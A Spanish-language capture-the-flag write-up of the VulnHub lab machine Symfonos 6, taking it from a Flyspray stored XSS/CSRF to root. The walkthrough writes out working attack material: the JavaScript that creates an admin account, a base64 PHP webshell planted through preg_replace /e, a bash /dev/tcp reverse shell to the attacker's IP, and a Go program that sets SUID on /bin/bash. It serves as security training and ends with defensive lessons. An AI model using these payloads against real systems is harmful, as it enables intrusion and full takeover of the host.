the_open_door
café
ESEN

Symfonos 6

VulnHubMediaLinux192.168.1.161

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#vulnhub#flyspray#csrf#stored-xss#gitea#git#preg-replace#rce#php#credential-reuse#sudo#gtfobins#golang
TL;DR. Un Flyspray 1.0 con un XSS almacenado en el campo real name deja que el administrador, al abrir nuestro perfil, ejecute un JavaScript que crea una cuenta admin (XSS + CSRF). Dentro, una tarea filtra las credenciales de Gitea de achilles (achilles:h2sBr9gryBunKdF9); su repositorio symfonos-blog revela un preg_replace con el modificador /e y una API en Go (puerto 5000) para editar posts: encadenando ambas cosas se consigue RCE como apache. La contraseña de achilles se reutiliza para migrar de usuario, y un sudo go remata la caja por GTFOBins.

Reconocimiento

Escaneo inicial

Al ser una máquina de red local, el primer paso es localizarla. El barrido ARP la saca por el fabricante de la MAC:

sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt

arp-scan devuelve nueve hosts de la red; la 192.168.1.161 aparece resaltada con la MAC 00:0c:29:23:6a:d5 de VMware Inc.

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
192.168.1.1     2c:70:4f:14:4e:c7   (Unknown)
192.168.1.136   b0:a4:60:cf:91:26   Intel Corporate
192.168.1.161   00:0c:29:23:6a:d5   VMware, Inc.
9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.613 seconds. 9 responded
ping -c 1 192.168.1.161

el ping a 192.168.1.161 responde con ttl=64 en 0.731 ms

64 bytes from 192.168.1.161: icmp_seq=1 ttl=64 time=0.731 ms
1 packets transmitted, 1 received, 0% packet loss, time 0ms

TTL 64 sin decrementar → Linux en la misma red. Con eso hecho, el escaneo TCP completo:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.161

el escaneo descubre los puertos 22, 80, 3000, 3306 y 5000 abiertos, todos con ttl 64

Discovered open port 3306/tcp on 192.168.1.161
Discovered open port 22/tcp on 192.168.1.161
Discovered open port 80/tcp on 192.168.1.161
Discovered open port 3000/tcp on 192.168.1.161
Discovered open port 5000/tcp on 192.168.1.161

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 64
80/tcp   open  http    syn-ack ttl 64
3000/tcp open  ppp     syn-ack ttl 64
3306/tcp open  mysql   syn-ack ttl 64
5000/tcp open  upnp    syn-ack ttl 64
MAC Address: 00:0C:29:23:6A:D5 (VMware)

Cinco puertos, y el ttl 64 sin decrementar (la máquina está en la misma red, sin saltos de por medio) apunta a Linux. Los nombres de servicio que pone nmap en esta primera pasada, ppp y upnp, no son detección real: son solo lo que dice /etc/services para esos números de puerto. Para saber qué hay de verdad detrás hace falta la segunda pasada:

nmap -p22,80,3000,3306,5000 -sCV 192.168.1.161

nmap identifica OpenSSH 7.4, Apache 2.4.6 con PHP 5.6.40 y un servidor Golang net/http en el 3000 que envía la cookie i_like_gitea

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 0e:ad:33:fc:1a:1e:85:54:64:13:39:14:68:09:c1:70 (RSA)
|   256 54:03:9b:48:55:de:b3:2b:0a:78:90:4a:b3:1f:fa:cd (ECDSA)
|_  256 4e:0c:e6:3d:5c:08:09:f4:11:48:85:a2:e7:fb:8f:b7 (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
| http-methods:
|_  Potentially risky methods: TRACE
3000/tcp open  http    Golang net/http server
| fingerprint-strings:
|   GetRequest:
|     Set-Cookie: i_like_gitea=d2128e61859301d5; Path=/; HttpOnly
|_    <title> Symfonos6</title>

la segunda parte del escaneo muestra MariaDB 10.3.23 en el 3306 y otro servidor Golang net/http en el 5000

3306/tcp open  mysql   MariaDB 10.3.23 or earlier (unauthorized)
5000/tcp open  http    Golang net/http server
|_http-title: Site doesn't have a title (text/plain).

Aquí hay dos datos que van a decidir toda la caja y conviene no pasarlos por alto:

  • El 80 corre PHP 5.6.40. Es una versión ya sin soporte, y en concreto es anterior a PHP 7, que es donde se eliminó el modificador /e de preg_replace. Que ese modificador siga existiendo aquí es lo que hace posible el vector de ejecución de código que veremos después.
  • nmap no dice "Gitea" en el 3000: dice Golang net/http server, que es solo el lenguaje del servidor. Quien lo identifica es un detalle escondido en el fingerprint-strings, la cookie i_like_gitea, junto al título Symfonos6. El 5000 es otro servicio en Go, pero sin título ni cookie que lo delate, así que de momento es una incógnita.

Confirmamos la pila del 80 con whatweb, que no añade sorpresas pero cierra la identificación:

Los cinco puertos se recogen con extractPorts:

extractPorts scan

extractPorts devuelve IP Address 192.168.1.161 y Open ports 22,80,3000,3306,5000, y el fichero extractPorts.tmp con las mismas dos líneas

Extracting information ...
IP Address: 192.168.1.161
Open ports: 22,80,3000,3306,5000

Ports copied to clipboard
whatweb http://192.168.1.161

whatweb confirma Apache 2.4.6 sobre CentOS con PHP 5.6.40

http://192.168.1.161 [200 OK] Apache[2.4.6], Country[RESERVED][ZZ],
HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/5.6.40], IP[192.168.1.161], PHP[5.6.40]

Wappalyzer añade el sistema operativo, que whatweb deja implícito en la cabecera:

Wappalyzer sobre 192.168.1.161 detecta Apache HTTP Server 2.4.6, PHP 5.6.40 y CentOS, sobre la imagen a pantalla completa de un guerrero espartano

Web servers            Apache HTTP Server 2.4.6
Programming languages  PHP 5.6.40
Operating systems      CentOS

PHP 5.6.40 merece una nota: es una rama sin soporte desde 2018, y es justo la que todavía admite el modificador /e de preg_replace que acaba abriendo la máquina.

El código fuente del 80

La portada solo muestra una imagen a pantalla completa. Antes de fuzzear nada se mira el código fuente, que es gratis y a veces trae regalo:

el código fuente de la portada contiene el comentario HTML "Don't waste your time checking for steg"

<body>
<img src="image.jpg">

<!-- Don't waste your time checking for steg -->
</body>

El autor de la máquina deja un aviso explícito: la imagen no esconde nada, no hay esteganografía que buscar. Es un descarte gratis, y ahorra la media hora de rigor que normalmente se le dedica a un .jpg solitario en una portada vacía.

Fuzzing web: /flyspray

Con la esteganografía descartada, toca enumerar rutas. El primer barrido, con el diccionario por defecto de dirsearch, devuelve casi nada:

dirsearch -u http://192.168.1.161/ --exclude-status=403,404

dirsearch, con un diccionario de 11460 palabras, solo encuentra /posts

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://192.168.1.161/

[13:07:07] 301 -  235B  - /posts  ->  http://192.168.1.161/posts/

Task Completed

Un solo resultado con un diccionario de 11 460 palabras. En este punto es fácil concluir que la web no tiene más y pasar a otro puerto, y sería un error: lo único que dice ese resultado es que no hay nada en esas 11 460 palabras. Así que se repite el barrido con un diccionario dos órdenes de magnitud más grande:

gobuster dir -u http://192.168.1.161/   -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt   -t 100 -b 404 -x php --add-slash

gobuster, con un diccionario de 441130 palabras, encuentra /icons, /posts y /flyspray

/cgi-bin/            (Status: 403) [Size: 210]
/icons/              (Status: 200) [Size: 74409]
/posts/              (Status: 500) [Size: 943]
/flyspray/           (Status: 200) [Size: 25771]
Progress: 126653 / 441130 (28.71%)

Ahí está lo que faltaba: /flyspray/, un gestor de incidencias (bug tracker), que el primer diccionario no contenía. De paso, /posts/ responde un 500, un error del servidor, no un 200: la página existe pero algo se rompe al generarla, dato que más adelante encaja del todo.

Entrando a /flyspray aparece un gestor de incidencias con una sola tarea visible y, arriba a la derecha, un formulario de acceso con enlace de registro:

Flyspray "symfonos bugs" con una única tarea en el Tasklist y el cuadro de Login con el enlace Register resaltado

El registro está abierto, que es lo primero que hay que comprobar en cualquier aplicación de este tipo:

el formulario Register new user de Flyspray relleno con el usuario kmn9 y su correo

Flyspray confirma con el banner New User Account has been created, y avisa de que la cuenta puede requerir aprobación de un administrador

New User Account has been created.
You may now attempt to login.
Note that the global preferences might require your account to be approved by an admin.
If you cannot login, this is probably why.

Ese aviso final es una pista sobre el modelo de la máquina: hay un administrador que revisa cuentas, es decir, alguien que va a mirar lo que nosotros escribamos.

De la aplicación a su versión

Con el nombre del producto, el reflejo es buscar vulnerabilidades conocidas:

searchsploit flyspray

searchsploit lista dos entradas para Flyspray 1.0: la de XSS/CSRF de la 1.0-rc4 y una de Mambo, y searchsploit -x confirma la ruta del fichero 41918.txt

searchsploit lista varias vulnerabilidades de Flyspray, entre ellas una de XSS/CSRF para la 1.0-rc4

Exploit Title
------------------------------------------------------------------
Flyspray 0.9 - Multiple Cross-Site Scripting Vulnerabilities
Flyspray 0.9.7 - 'install-0.9.7.php' Remote Command Execution
Flyspray 0.9.9 - Information Disclosure/HTML Injection / Cross-Site Scripting
Flyspray 0.9.9 - Multiple Cross-Site Scripting Vulnerabilities
Flyspray 0.9.9.6 - Cross-Site Request Forgery
Flyspray 1.0-rc4 - Cross-Site Scripting / Cross-Site Request Forgery
Mambo Component com_flyspray < 1.0.1 - Remote File Disclosure

Hay material, pero todo está atado a versiones concretas, así que el siguiente paso obligado es averiguar cuál corre aquí. Un barrido bajo la propia ruta de la aplicación saca su estructura:

dirsearch -u http://192.168.1.161/flyspray/ --exclude-status=403,404
dirsearch -u http://192.168.1.161/flyspray/docs --exclude-status=403,404

dirsearch bajo /flyspray lista .gitignore, composer.json, docs, README.md, vendor y demás; bajo /flyspray/docs aparecen CHANGELOG.txt, INSTALL.txt y README.txt

[14:03:39] 200 -  182B  - /flyspray/.gitignore
[14:03:41] 200 -   1KB  - /flyspray/.travis.yml
[14:03:55] 200 -   78B  - /flyspray/composer.json
[14:03:58] 301 -  243B  - /flyspray/docs  ->  http://192.168.1.161/flyspray/docs/
[14:04:03] 200 -  25KB  - /flyspray/index.php
[14:04:15] 200 -   3KB  - /flyspray/README.md

[14:04:53] 200 -  428B  - /flyspray/docs/CHANGELOG.txt
[14:05:02] 200 -   3KB  - /flyspray/docs/INSTALL.txt
[14:05:14] 200 -  614B  - /flyspray/docs/README.txt

El directorio /docs es el sitio donde una aplicación suele dejar su historial de cambios. El CHANGELOG.txt de esta instalación está vacío de información útil, pero el fichero de actualización sí habla:

La instalación deja accesible su directorio de documentación, que es donde suelen quedarse los ficheros que delatan la versión:

el Index of /flyspray/docs lista AUTHORS.txt, BUGS.txt, CHANGELOG.txt, INSTALL.txt, QA_CHECKLIST.txt, TODO.txt y UPGRADING.txt, con CHANGELOG y UPGRADING resaltados

El CHANGELOG.txt decepciona, porque el proyecto dejó de mantenerlo:

el CHANGELOG.txt solo dice que ya no se mantiene un changelog manual y remite a las releases de GitHub

We do not update a manual changelog file anymore.
Manual written changelog summaries are shown on Flyspray github releases
https://github.com/Flyspray/flyspray/releases

El UPGRADING.txt, en cambio, sí:

UPGRADING.txt empieza con "Upgrading 0.9.9.* to 1.0*", indicando que la versión instalada es la 1.0

##Upgrading 0.9.9.* to 1.0* (1.0 alphas, 1.0 betas, Flyspray master branch on github.com)##

Run http://yourflyspray/setup/
in your browser and follow the instructions.
It detects an existing Flyspray flyspray.conf.php and missing third party components (composer).

##Upgrading from 0.9.6 - 0.9.8 to 0.9.9##
...

La sección más reciente del fichero es la del salto a 1.0, así que esa es la versión instalada. Es una inferencia, no una prueba directa, pero encaja con el resto: y justo la entrada de searchsploit para la rama 1.0 es la de XSS + CSRF.

Acceso al panel: XSS almacenado + CSRF

El campo "real name" no se sanea

Leemos el exploit antes de lanzar nada, que es lo que separa reproducir una receta de entender un ataque:

searchsploit -x php/webapps/41918.txt

el texto del exploit explica que el parámetro real name no se sanea y adjunta el script que crea un administrador

Description :
A vulnerability has been discovered in Flyspray, which can be exploited by malicious people to conduct
cross-site scripting attacks. Input passed via the 'real_name' parameter to '/index.php?do=myprofile' is
not properly sanitised before being returned to the user. This can be exploited to execute arbitrary
HTML and script code in a user's browser session in context of an affected site.

The script is executed on the parameter page AND on any page that allow the user to put a comment.

This XSS vector allow the user to execute scripts to gather the CSRF token
and submit a form to create a new admin

Here's the script :

var tok = document.getElementsByName('csrftoken')[0].value;

var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'

Ahora el payload deja de ser una caja negra: no es "un exploit de XSS", es un script que lee el token CSRF de la página en la que se ejecuta y con él manda un formulario a index.php?do=admin&area=newuser creando el usuario hacker con contraseña 12345678 y group_in=1, que es el identificador del grupo de administradores. El token es justo lo que hace falta robar: la aplicación lo pide para aceptar el formulario, y desde el navegador de la víctima está a la vista.

El primer intento de inyección, sin embargo, no arranca. Con el clásico de comprobación en el campo real name:

<script>alert("XSS")</script>

El propio texto del exploit trae, al final, el JavaScript que hay que colocar: un formulario oculto que se autoenvía contra index.php?do=admin&area=newuser con el csrftoken de la víctima ya incrustado.

el final del exploit muestra el script completo, que lee el csrftoken del DOM, monta un formulario oculto con user_name hacker y user_pass 12345678, y lo envía; abajo se lee "This will create a new admin account, hacker:12345678"

var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
...
document.getElementById("hacked_form").submit();

This will create a new admin account, hacker:12345678

La clave está en la primera línea: el csrftoken no se adivina, se lee del DOM de la propia víctima, que es lo que convierte un XSS en un CSRF con token válido.

El primer intento de inyección, sin embargo, no arranca. Con el clásico de comprobación en el campo real name, escrito directamente en el perfil:

la página Edit my details de Flyspray con el campo Real Name relleno con script alert XSS, y el botón Update details resaltado

el comentario muestra el payload como texto y el inspector revela que ha quedado dentro de una etiqueta a

<div class="comment_header_infos">
  <a href="http://192.168.1.161/flyspray/index.php?do=user&area=users&id=2"><script>alert("XSS")</script></a>
  commented on 05.03.2025 13:22
</div>

No salta ningún alert. El inspector enseña por qué: el nombre se pinta dentro del <a> que enlaza al perfil del autor del comentario, y ahí el navegador no ejecuta el script. La técnica no era mala, el sitio de la inyección sí, y la solución es la de siempre en estos casos: salir del contexto primero. Cerramos el atributo y la etiqueta antes de abrir la nuestra, y en vez de código en línea cargamos un script externo desde nuestra máquina:

"><script src="http://192.168.1.80/test.js"></script>

el campo Real Name con el payload que cierra el atributo y la etiqueta antes de cargar test.js desde 192.168.1.80

Flyspray mostrando el alert() del XSS de prueba: la inyección en real name se ejecuta

El admin ejecuta nuestro JavaScript

Confirmado el XSS, cargamos en test.js el payload del exploit: una petición que registra un usuario nuevo con rol de administrador. Cuando el administrador de Flyspray abre nuestro perfil, su navegador ejecuta el script con su sesión y crea la cuenta por nosotros. Es el patrón XSS + CSRF: nosotros ponemos el código, la víctima pone los privilegios.

cat test.js
python3 -m http.server 80

el cat de test.js muestra el script del exploit completo y, debajo, el http.server registrando el GET /test.js desde 192.168.1.161 con un 200

192.168.1.161 - - [16/Mar/2025 02:36:10] "GET /test.js HTTP/1.1" 200 -

Ese 200 es la prueba de que el administrador ha abierto la página y su navegador ha cargado nuestro script. La cuenta que crea es hacker con la contraseña 12345678, tal y como decía el exploit:

el formulario de acceso de Flyspray relleno con el usuario HACKER y la contraseña 12345678, antes de pulsar Login

Panel de Flyspray ya logueados con el usuario administrador recién creado por el XSS

Fuga: credenciales de Gitea de achilles

Ya como admin aparece una lista de tareas que antes no se veía. La segunda, FS#2 - self hosted git service, enseña su descripción con solo pasar el ratón por encima:

al pasar el ratón por la tarea FS#2 se despliega la descripción con las credenciales achilles:h2sBr9gryBunKdF9

Task Description
Requires testing | self hosted git service | 0%
Here are my creds in case anyone wants to check out our project!
achilles:h2sBr9gryBunKdF9

Al abrirla se confirma de qué servicio son esas credenciales:

Tarea FS#2 en Flyspray: "I have configured gitea for our git needs internally!" y las credenciales achilles:h2sBr9gryBunKdF9

achilles:h2sBr9gryBunKdF9

Shell como apache: preg_replace /e

Enumerar Gitea (puerto 3000)

Con esas credenciales entramos al Gitea del 3000. La cuenta de achilles tiene dos repositorios:

el formulario de acceso de Gitea en el puerto 3000 relleno con el usuario achilles y su contraseña

Panel de Gitea logueados como achilles: sus dos repositorios symfonos-blog y symfonos-api

Leer el código de una aplicación es siempre mejor que adivinar su comportamiento desde fuera, así que los clonamos para revisarlos en local:

git clone http://192.168.1.161:3000/achilles/symfonos-blog
git clone http://192.168.1.161:3000/achilles/symfonos-api
ls

git pide usuario y contraseña para cada clonado y deja los dos repositorios en el directorio

Cloning into 'symfonos-blog' ...
Username for 'http://192.168.1.161:3000': achilles
Password for 'http://achilles@192.168.1.161:3000':
remote: Total 8 (delta 0), reused 0 (delta 0)
Unpacking objects: 100% (8/8), 20.64 KiB | 4.13 MiB/s, done.

Cloning into 'symfonos-api' ...
remote: Total 33 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (33/33), 9.29 KiB | 951.00 KiB/s, done.

symfonos-api  symfonos-blog  test.js

El preg_replace con modificador /e

El index.php de symfonos-blog es el código de la web que corre en /posts/, la misma que respondía 500 en el fuzzing. Leerlo entero cuesta un minuto y lo explica todo:

cat index.php

el index.php recorre los posts, los imprime y llama a preg_replace con el patrón /.*/e y el contenido del post como reemplazo

<?php
include "includes/dbconfig.php";
include "includes/db.php";

$db = new Db();
$result = $db->query("SELECT * FROM `posts` ORDER BY created_at DESC");
?>
...
<?php
while ($row = mysqli_fetch_assoc($result)) {
    $content = htmlspecialchars($row['text']);

    echo $content;

    preg_replace('/.*/e', $content, "Win");
}
?>

Conviene leer despacio esa última línea, porque el orden de los argumentos es justo lo contrario de lo que parece: el patrón es /.*/, el reemplazo es $content (el texto del post, que viene de la base de datos) y el sujeto es la cadena "Win". Con el modificador /e, PHP evalúa el reemplazo como código antes de sustituir. Es decir, lo que se ejecuta es el contenido del post: si controlamos ese texto, tenemos ejecución de código en el servidor.

El problema es que la web no ofrece ningún formulario para escribir ni editar posts: no hay registro, ni login, ni panel:

el blog en /posts/ muestra un texto sobre Aquiles y, superpuesto, su view-source: un HTML mínimo con Bootstrap y sin formularios

Ahí es donde encaja el otro servicio en Go, el del puerto 5000, cuyo código fuente está en el repositorio symfonos-api. Leerlo es lo que evita adivinar la ruta base, que no es la obvia:

cat api/api.go

el api.go define ApplyRoutes con r.Group("/ls2o4g"), resaltado, que es el prefijo de todas las rutas

func ApplyRoutes(r *gin.Engine) {
    api := r.Group("/ls2o4g")
    {
        apiv1.ApplyRoutes(api)
    }
}

Un prefijo aleatorio, /ls2o4g, que ningún fuzzing habría encontrado. El siguiente fichero añade la versión y un ping con el que verificar que hemos leído bien:

cat v1.0.go
curl http://192.168.1.161:5000/ls2o4g/v1.0/ping

el v1.0.go agrupa las rutas bajo /v1.0 y define un GET /ping; el curl a esa ruta devuelve {"message":"pong"}

{"message":"pong"}

Confirmado el camino, auth.go y auth.ctrl.go dan la forma del login:

el auth.go agrupa /auth con un POST /login y un GET /check, ambos resaltados

el auth.ctrl.go define la función login con un RequestBody que espera username y password en JSON, resaltado

func login(c *gin.Context) {
    type RequestBody struct {
        Username string `json:"username" binding:"required"`
        Password string `json:"password" binding:"required"`
    }

Y posts.go con posts.ctrl.go, la del método que interesa:

el posts.go lista las rutas del grupo /posts: POST, GET, GET /:id, DELETE /:id y PATCH /:id, con create, remove, update y middlewares.Authorized resaltados

posts.POST("/", middlewares.Authorized, create)
posts.GET("/", list)
posts.GET("/:id", read)
posts.DELETE("/:id", middlewares.Authorized, remove)
posts.PATCH("/:id", middlewares.Authorized, update)

la función update de posts.ctrl.go: obtiene el usuario del contexto, espera un RequestBody con el campo text, comprueba que el post pertenezca al usuario y guarda post.Text

func update(c *gin.Context) {
    user := c.MustGet("user").(User)
    type RequestBody struct {
        Text string `json:"text" binding:"required"`
    }
    ...
    if post.UserID != user.ID {
        c.AbortWithStatus(403)
        return
    }
    post.Text = requestBody.Text
    db.Save(&post)

Los dos datos que hacían falta: la autenticación manda usuario y contraseña en JSON, y el PATCH sobre /posts/<id> actualiza el texto de un post siempre que la petición lleve un token válido y el post sea del propio usuario.

curl http://192.168.1.161:5000/ls2o4g/v1.0/auth/login \
  -d '{"username":"achilles","password":"h2sBr9gryBunKdF9"}' \
  -H "Content-Type: application/json"

la API devuelve un JSON con el token JWT y los datos del usuario achilles

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NDI3MDAwMTMsInVzZXIiOnsiZGlzcGxheV9uYW1lIjoiYWNoaWxsZXMiLCJpZCI6MSwidXNlcm5hbWUiOiJhY2hpbGxlcyJ9fQ.QAwDT4TgXzQzt6kbvTcFDuaxxfWA7B7mfKNpHh0_vtg","user":{"display_name":"achilles","id":1,"username":"achilles"}}

Las mismas credenciales del Gitea valen para la API, que es el tipo de reúso que conviene probar siempre. Antes de inyectar nada, comprobamos que el PATCH hace lo que creemos con un texto inofensivo:

curl -s -X PATCH http://192.168.1.161:5000/ls2o4g/v1.0/posts/1 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <jwt>" \
  -d '{"text":"hola"}'

el curl PATCH con el token en la cabecera Authorization devuelve el JSON del post ya con text hola y el usuario achilles; abajo, el token guardado en auth_login.txt

{"created_at":"2020-04-02T04:41:22-04:00","id":1,"text":"hola",
 "user":{"display_name":"achilles","id":1,"username":"achilles"}}

la web /posts/ muestra el texto hola, confirmando que el PATCH ha cambiado el contenido del post

symfonos blog | Posts

hola

Controlamos el contenido del post y el contenido del post se evalúa como PHP. Con eso ya se puede inyectar código:

curl -s -X PATCH http://192.168.1.161:5000/ls2o4g/v1.0/posts/1 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <jwt>" \
  -d '{"text":"system(whoami);"}'

el mismo curl PATCH, ahora con text system(whoami); y la API devolviéndolo tal cual en el JSON

Al recargar /posts/ el resultado del comando aparece en pantalla: lo ejecuta apache.

La web /posts/ mostrando "system(whoami);apache apache": el preg_replace /e ha ejecutado el PHP inyectado

system(whoami);apache apache

El preg_replace /e evalúa el PHP inyectado y la página imprime apache: tenemos RCE.

De RCE a webshell y revshell

Ejecutar comandos sueltos a golpe de PATCH es incómodo y frágil, así que el siguiente paso es dejar una webshell en disco. Se genera primero en Base64, porque así el PHP que hay que meter dentro del JSON no lleva ni comillas dobles ni < ni > que compliquen el anidamiento de comillas en la línea de comandos:

echo -n '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+

Y se escribe con file_put_contents, que crea un fichero nuevo (cmd.php) en lugar de depender del post, cuyo contenido se sobrescribe en cada petición:

curl -s -X PATCH http://192.168.1.161:5000/ls2o4g/v1.0/posts/1 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <jwt>" \
  -d $'{"text": "file_put_contents(\'cmd.php\', base64_decode(\'PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+\'))"}'

la generación del payload en base64 y el PATCH que escribe cmd.php, con la API devolviendo el post actualizado

{"created_at":"2020-04-02T04:41:22-04:00","id":1,"text":"file_put_contents('cmd.php', base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+'))","user":{"display_name":"achilles","id":1,"username":"achilles"}}

Comprobamos que el fichero está donde debe y responde:

la petición a cmd.php?cmd=id devuelve uid=48(apache) gid=48(apache) groups=48(apache)

http://192.168.1.161/posts/cmd.php?cmd=id

uid=48(apache) gid=48(apache) groups=48(apache)

Con la webshell en pie, ya solo queda pedirle una reverse shell. Primero el nc a la escucha:

nc -nlvp 1234

Y después el disparo desde el navegador, con el comando codificado en la URL:

http://192.168.1.161/posts/cmd.php?cmd=bash -c "bash -i >& /dev/tcp/192.168.1.80/1234 0>&1"

la barra del navegador con cmd.php?cmd= y la reverse shell bash hacia /dev/tcp/192.168.1.80/1234, URL-codificada

192.168.1.161/posts/cmd.php?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.80/1234 0>%261"

nc a la escucha en el 1234 recibe la shell; whoami devuelve apache y ls muestra cmd.php, css, includes, index.php

listening on [any] 1234 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.161] 58928
bash: no job control in this shell
bash-4.2$ whoami
apache
bash-4.2$ ls
cmd.php  css  includes  index.php

Escalada de privilegios

Reúso de contraseña: apache -> achilles

La contraseña que achilles filtró en Flyspray era, en teoría, la de su cuenta de Gitea. Probarla como cuenta del sistema cuesta un comando, y funciona:

su achilles      # h2sBr9gryBunKdF9
id

su achilles acepta la contraseña y el id confirma uid=1000(achilles) con el grupo apache heredado

bash-4.2$ su achilles
Password:
[achilles@symfonos6 home]$ id
uid=1000(achilles) gid=1000(achilles) groups=1000(achilles),48(apache)

Una misma contraseña en el bug tracker, en Gitea, en la API y en la cuenta de sistema: cuatro sitios y un solo secreto.

sudo go

achilles puede ejecutar go como root sin contraseña, un clásico de GTFOBins: go run compila y ejecuta el código que le demos, así que le pasamos un programa que ponga el SUID a /bin/bash.

sudo -l
# (ALL) NOPASSWD: /usr/local/go/bin/go
// script.go
package main
import "os/exec"
func main() { exec.Command("chmod", "+s", "/bin/bash").Run() }
sudo /usr/local/go/bin/go run script.go
ls -l /bin/bash      # -rwsr-sr-x  root root  /bin/bash
bash -p
# id -> uid=0(root)
# cat /root/proof.txt -> Congrats on rooting symfonos:6!

sudo go run script.go pone el SUID a /bin/bash; bash -p da shell root que lee proof.txt: Congrats on rooting symfonos:6!

[achilles@symfonos6 go]$ sudo /usr/local/go/bin/go run script.go
[achilles@symfonos6 go]$ ls -l /bin/bash
-rwsr-sr-x. 1 root root 964544 Apr 10  2018 /bin/bash
[achilles@symfonos6 go]$ bash -p
bash-4.2# whoami
root
bash-4.2# cat proof.txt
Congrats on rooting symfonos:6!

Máquina pwneada.

Cadena de ataque

Flyspray 1.0  ->  XSS almacenado en "real name"  ->  el admin ejecuta el JS (CSRF)
    └─> se crea una cuenta admin  ->  tarea FS#2 filtra achilles:h2sBr9gryBunKdF9 (Gitea)
            └─> repos symfonos-blog + symfonos-api  ->  preg_replace /e + API PATCH
                    └─> RCE como apache  ->  webshell cmd.php  ->  revshell
                            └─> su achilles (reúso)  ->  sudo go (GTFOBins)  ->  root

Lecciones aprendidas

  • Un XSS almacenado + una víctima interna es CSRF con privilegios prestados. El campo real name sin sanear convierte a cualquier admin que abra el perfil en el que crea nuestra cuenta.
  • Los secretos "internos" siguen siendo secretos. Poner las credenciales de Gitea en una tarea del bug tracker las expone en cuanto alguien accede al panel.
  • preg_replace con /e es RCE latente. El modificador evalúa el reemplazo como PHP; se eliminó en PHP 7 justo por esto, y su sustituto seguro es preg_replace_callback.
  • Leer el código fuente marca la diferencia. Sin clonar symfonos-api no se sabría cómo hablar con la API (endpoints, JWT, PATCH) para llegar al preg_replace vulnerable.
  • sudo go es root. Cualquier binario que compile y ejecute código bajo sudo permite un escape trivial.
Cheatsheet de comandos 10 comandos

Repaso rápido